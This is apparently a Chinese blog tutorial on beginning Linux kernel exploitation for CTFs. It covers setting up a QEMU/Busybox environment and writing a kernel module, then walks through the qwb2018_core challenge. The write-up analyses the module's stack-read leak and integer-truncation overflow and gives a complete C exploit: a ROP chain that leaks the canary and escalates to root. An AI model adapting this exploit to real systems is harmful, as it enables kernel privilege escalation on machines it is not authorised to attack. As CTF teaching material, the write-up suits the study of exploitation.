Kernel Pwn 入门

本机环境为 Ubuntu 22.04 x86_64

首先感谢 a3gg 让我们避免入门 Kernel Pwn 路上的很多坑

环境搭建

安装一些依赖包

1
sudo apt git fakeroot build-essential ncurses-dev xz-utils qemu-system-x86 flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev

获取内核镜像

内核镜像一般称为 bzImage

这里准备下载已编译内核镜像

  1. 列出版本对应可下载内核镜像
1
apt search linux-image | grep 5.19.0
  1. 选一个看着顺眼的下载就行
1
apt download linux-image-5.19.0-generic-41-generic
  1. 解压下载的 deb 文件
1
dpkg -X ./ linux-image-5.19.0-41-generic_5.19.0-41.42~22.04.1_amd64.deb

./boot/vmlinuz-5.19.0-41-generic 就是 bzImage 镜像文件

使用 Busybox 构建文件系统

编译 Busybox

BusyBox 是一个集成了三百多个最常用 Linux 命令和工具的软件,包含了例如 ls、cat 和 echo 等一些简单的工具,Busybox 可以为内核提供一个基本的用户环境

  1. 获取 Busybox 源码

选择一个稳定版本

1
wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2
  1. 编译

进入配置页面

1
make menuconfig

勾选 Settings –> Build static binary file (no shared file),这样不用单独配置 libc,然后退出

接下来编译

1
make install

生成一个 _install 目录,用来构建磁盘镜像

构建文件系统

  1. 初始化文件系统
1
2
3
4
5
6
cd _install
mkdir -pv {bin,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch ./etc/inittab
mkdir ./etc/init.d
touch ./etc/init.d/rcS
chmod +x ./etc/init.d/rcS
  1. 配置初始化脚本

配置 ./etc/inttab,写入下面内容,指定系统初始化脚本

1
2
3
4
5
6
::sysinit:/etc/init.d/rcS  
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

配置 ./etc/init.d/rcS,挂载各种文件系统

./etc/init.d/rcS
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

poweroff -d 0 -f
  1. 配置用户组
1
2
3
4
5
echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group
echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab

打包文件系统为镜像文件

_install 目录下执行

1
find . | cpio -o -H newc > ../../rootfs.cpio

在文件系统中添加或修改文件

可以直接向 _install 内添加修改,但会比较混乱,也可以解压文件系统镜像后再打包

  1. 解压文件系统镜像
1
cpio -idv < ./rootfs.cpio

向里面加入想要添加的文件即可

  1. 重打包文件系统镜像
1
find . | cpio -o -H newc > ../new_rootfs.cpio

使用 qemu 运行内核

将 bzImage 和 rootfs.cpio 放到同一个目录

编写启动脚本 boot.sh

boot.sh
1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet nokaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s

部分参数说明如下:

  • -m:虚拟机内存大小
  • -kernel:内存镜像路径
  • -initrd:磁盘镜像路径
  • -append:附加参数选项
    • nokalsr:关闭内核地址随机化,方便调试
    • rdinit:指定初始启动进程,/sbin/init 进程会默认以 /etc/init.d/rcS 作为启动脚本
    • loglevel=3 & quiet:不输出 log
    • console=ttyS0:指定终端为 /dev/ttyS0,这样一启动就能进入终端界面
  • -monitor:将监视器重定向到主机设备 /dev/null,这里重定向至 null 主要是防止 CTF 中被人给偷了 qemu 拿 flag
  • -cpu:设置 CPU 安全选项,在这里开启了 SMEP 保护
  • -s:相当于 -gdb tcp::1234 的简写(也可以直接这么写),后续可以通过 gdb 连接本地端口进行调试

接下来运行 boot.sh 即可成功运行

了解 LKM

虽然 Linux 内核采用宏内核架构,但是内核装载的很多服务其实很少用到甚至用不到,但它们会占据大量内存空间,且添加、修改、删除服务往往要重新编译整个内核,浪费时间

可装载内核模块(Loadable Kernel Module)因此出现,在内核中它可以自由地装载或卸载,而不用重新编译、重启内核,提高了内核的可拓展性和维护性。而设备驱动就是其中一种

CTF 中的 kenrel pwn 往往就是通过 LKM 的漏洞来控制内核,而不是 pwn 内核组件

预备知识

LKM 同样也是 ELF 格式文件,但不能独立运行,必须装载在内核中运行,并且上下文为内核空间

因此 LKM 不能使用共享库中的函数,也不能直接与用户进行交互,它必须使用内核提供的函数,在某种意义上来说 LKM 编程也是内核编程

编写一个简单模块

hello_kernel.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
* hello_kernel.c
* developed by Humoooor
*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

static int __init kernel_module_init(void)
{
printk("<1> Hello the Linux kernel world!\n");
return 0;
}

static void __exit kernel_module_exit(void)
{
printk("<1> Good bye the Linux kernel world! See you again!\n");
}

module_init(kernel_module_init);
module_exit(kernel_module_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Humoooor");
  • 头文件
    • linux/module.h:LKM 必须包含
    • linux/kernel.h:载入内核相关信息
    • linux/init.h:包含一些常用的宏
    • 一般这三个头文件在 LKM 编程中都要使用
  • LKM 入口点/出口点
    • module_init:内核载入 LKM 时会缺省调用
    • module_exit:内核卸载 LKM 时会缺省调用
  • 其他
    • __init__exit:在函数结束后释放对应内存
    • MODULE_LICENSEMODULE_AUTHOR:声明 LKM 作者和许可证
    • printk:内核函数,向内核缓冲区写入,<1> 表示信息的紧急级别(8 个优先级,0 为最高)

编译 LKM

一般使用 Makefile 来编译 LKM

1
2
3
4
5
6
7
8
obj-m += hello_kernel.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)
all:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
  • obj-m:指定了编译的结果应当为 .ko 文件,即可装载内核模块,类似命令有:obj-y 编译进内核,obj-n 不编译
  • CURRENT_PATH & LINUX_KERNEL & LINUX_KERNEL_PATH:三个自定义变量,分别意味着通过 shell 命令获得当前路径、内核版本、内核源码路径
  • all:编译指令
  • clean:清理指令

使用 make 命令即可编译生成 hello_kernel.ko 文件

使用 LKM

1
2
3
4
5
6
7
8
9
10
11
# 装载 LKM
sudo insmod hello_kernel.ko

# 查看 LKM
lkmod | grep hello_kernel

# 卸载 LKM
sudo rmmod hello_kernel.ko

# 查看 LKM 输出信息
dmesg | grep "kenrel module"

入门题 qwb2018_core

查看脚本

看一下启动脚本 start.sh

start.sh
1
2
3
4
5
6
7
8
qemu-system-x86_64 \  
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

开启 kaslr,可以先关闭 kaslr 获取没有偏移的函数地址

再看一下 init 脚本

init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh  
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2  
insmod /core.ko
 
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f

看不太懂,先把 poweroff 注释掉再打包回去再说

这里把 kallsyms 复制过去了,可以得到内核各个符号的地址

注意这里的解包和打包不太一样,发现还有一层 gzip 的压缩,卡了好久 wsfw

1
2
3
4
5
6
find . | cpio -o -H newc | gzip -9 > ../core.cpio

# 后来发现自带了打包脚本 gen_cpio.sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

分析 LKM

浅浅 checksec 一下

1
2
3
4
5
6
$ checksec core.ko
   Arch:     amd64-64-little
   RELRO:    No RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      No PIE (0x0)

然后直接拖入 IDA 即可

先看看 init_module

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 0666LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}

创建一个进程节点文件 /proc/core,用于用户进程与 LKM 通信

查看 core_fops 结构体,定义了三个函数

  • core_write:调用 write 时,内核调用此函数
  • core_ioctl:调用 ioctl 时,内核调用此函数
  • core_release:只有打印功能,还是看看 core_writecore_ioctl 家人们
1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 fd, __int64 user, unsigned __int64 size)
{
printk(&unk_215);
if ( size <= 0x800 && !copy_from_user(&name, user, size) )
return (unsigned int)size;
printk(&unk_230);
return 0xFFFFFFF2LL;
}

core_write 向 bss 写入最多 0x800 字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 fd, int choice, __int64 value)
{
switch ( choice )
{
case 0x6677889B:
core_read(value);
break;
case 0x6677889C:
printk(&unk_2CD);
off = value;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(value);
break;
}
return 0LL;
}

core_ioctl 可调用 core_readcore_copy_func 函数,且可以设置全局变量 off 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 addr_user)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char buf[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = buf;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(buf, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(addr_user, &buf[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

core_read 复制栈中 64 字节到用户进程空间,由于 off 可控,可以用来泄露地址和 canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall core_copy_func(__int64 size)
{
__int64 result; // rax
char v2[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+40h] [rbp-10h]

v3 = __readgsqword(0x28u);
printk(&unk_215);
if ( size > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)size);
}
return result;
}

core_copy_func 传入一个 64 位大小的 size,复制 bss 上的数据到栈中

size 有检查,但是最后取 size 的低 16 位,传入一个合适负数就可以最多复制 0xffff 字节的 bss 到栈中,导致栈溢出,进行 ROP

漏洞利用 ROP

漏洞利用已经很明了

  • core_read 可以溢出读栈,拿到 canary 和基址
    • 这里提一嘴,才知道 canary 是一个线程一个,之前以为一个函数一个,一直没想出来怎么做😇
  • core_copy_func 可以溢出写栈,进行 ROP

思路

  1. 读取 kallsyms 获取 prepare_kernel_credcommit_creds 的函数地址
  2. 通过 core_read 获取 canary 和基址
  3. 通过 core_write 写 ROP 链到 bss
  4. 通过 core_copy_func 复制 ROP 链栈溢出

exp

exp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include "../mypwn.h"


#define iretq 0xffffffff81050ac2 + offset
#define swapgs_popfq_ret 0xffffffff81a012da + offset
#define pop_rdi_ret 0xffffffff81000b2f + offset
#define mov_rdi_rax_jmp_rdx 0xffffffff8106a6d2 + offset
#define pop_rdx_ret 0xffffffff810a0f49 + offset
#define swapgs_restore_ret
#define mov_cr4_rdi_push_rdx_popfq_ret 0xffffffff81075014 + offset

#define READ 0x6677889B
#define OFF 0x6677889C
#define COPY_FUNC 0x6677889A

void core_read(int fd, char *buf) {
ioctl(fd, READ, buf);
}

void core_set_off_val(int fd, size_t off) {
ioctl(fd, OFF, off);
}

void core_copy_func(int fd, size_t len) {
ioctl(fd, COPY_FUNC, len);
}

int main() {
unsigned long addr, offset, canary;
unsigned long rop_chain[0x100];

char buf[0x300];
char type[0x10];

myLog("Start to pwn kernel");
save_status();

// Get canary & prepare_kernel_cred & commit_creds from kallsyms
get_privilege_addr(NULL);

offset = commit_creds - 0xffffffff8109c8e0;
myLog("Get offset: %p", offset);

int fd = open("/proc/core", O_RDWR);

// Get canary
core_set_off_val(fd, 64);
core_read(fd, buf);
canary = ((unsigned long *)buf)[0];
myLog("Get canary: %p", canary);

int i;
for(i = 0; i < 10; i++)
rop_chain[i] = canary;

/// ROP!
rop_chain[i++] = pop_rdi_ret;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = pop_rdx_ret;
rop_chain[i++] = commit_creds;
rop_chain[i++] = mov_rdi_rax_jmp_rdx;
rop_chain[i++] = swapgs_popfq_ret;
rop_chain[i++] = 0;
rop_chain[i++] = iretq;
rop_chain[i++] = get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | 0x100);

return 0;
}

参考链接

【OS.0x01】Linux Kernel II:内核简易食用指北

【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF

https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/

作者

Humoooor

发布于

2023-08-20

更新于

2023-10-04

许可协议

评论